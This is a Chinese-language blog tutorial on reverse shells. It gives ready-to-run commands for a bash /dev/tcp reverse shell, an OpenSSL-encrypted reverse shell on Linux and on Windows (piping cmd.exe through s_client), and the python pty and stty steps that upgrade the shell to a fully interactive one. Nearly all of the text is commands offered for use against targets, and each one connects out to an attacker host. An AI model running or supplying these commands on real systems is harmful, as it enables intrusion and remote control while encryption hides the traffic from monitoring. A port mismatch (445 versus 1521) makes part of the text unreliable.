• openssl反弹shell与功能齐全的交互式shell


    基础bash反弹shell

    /bin/bash -i >& /dev/tcp/1.1.1.1/443 0>&1
    nc -nvlp 443
    

    Linux下openssl加密反弹shell

    1. 在vps上生成 SSL 证书的公钥/私钥对
    openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
    

    -newkey rsa:2048选项声明了使用RAS算法生成2048位的私钥。
    -nodes选项表明我们不使用密码加密私钥。
    -keyout key.key:生成私钥
    -out cert.pem:生成pem证书

    1. vps上监听反弹shell
    openssl s_server -quiet -key key.pem -cert cert.pem -port 443
    
    1. 在目标上用openssl加密反弹shell的流量(使用openssl单向认证)
    mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 1.1.1.1:443 > /tmp/s; rm /tmp/s
    

    注:openssl单/双向认证参考:
    https://blog.csdn.net/go_home_look/article/details/107238103

    Windows下openssl加密反弹shell
    1、服务端开启两个监听,从 ip:port1 获取命令发送给 cmd.exe执行,然后结果返回到 ip:port2。

    openssl s_server -quiet -key key.pem -cert cert.pem -port 443
    openssl s_server -quiet -key key.pem -cert cert.pem -port 445
    
    1. 客户端执行
    openssl s_client -quiet -connect 1.1.1.1:443 | cmd.exe | openssl s_client -quiet -connect 1.1.1.1:445
    

    在服务端的443的窗口发送命令,然后服务端1521的窗口会收到执行结果:

    使用python pty模块将不完全shell变为完全shell

    $ python -c 'import pty; pty.spawn("/bin/bash")'
    

    键入 Ctrl-Z,回到 VPS 的命令行中,再输入如下命令:

    $ stty raw -echo
    $ fg
    

    回到不完全shell 中;在不完全 shell 中键入 Ctrl-l,执行:

    $ reset
    $ export SHELL=bash
    $ export TERM=xterm-256color
    $ stty rows 54 columns 104
    

    此时已经变成了功能齐全的交互式 shell,比如支持命令补全、语法高亮等。

  • 相关阅读:
    Python基础Day1—下
    Python基础Day1—上
    Asp.net +Jquery-uploadify多文件上传
    C#txt文件读写基本操作
    C#获取窗口,模拟按键操作
    百度搜索优化-如何使搜索结果显示图文
    纯CSS3实现超立体的3D图片侧翻倾斜效果
    Android http通信 HttpURLConnection
    Android Socket 知识点汇总
    Android http通信案例
  • 原文地址:https://www.cnblogs.com/micr067/p/15850290.html
Copyright © 2020-2023  润新知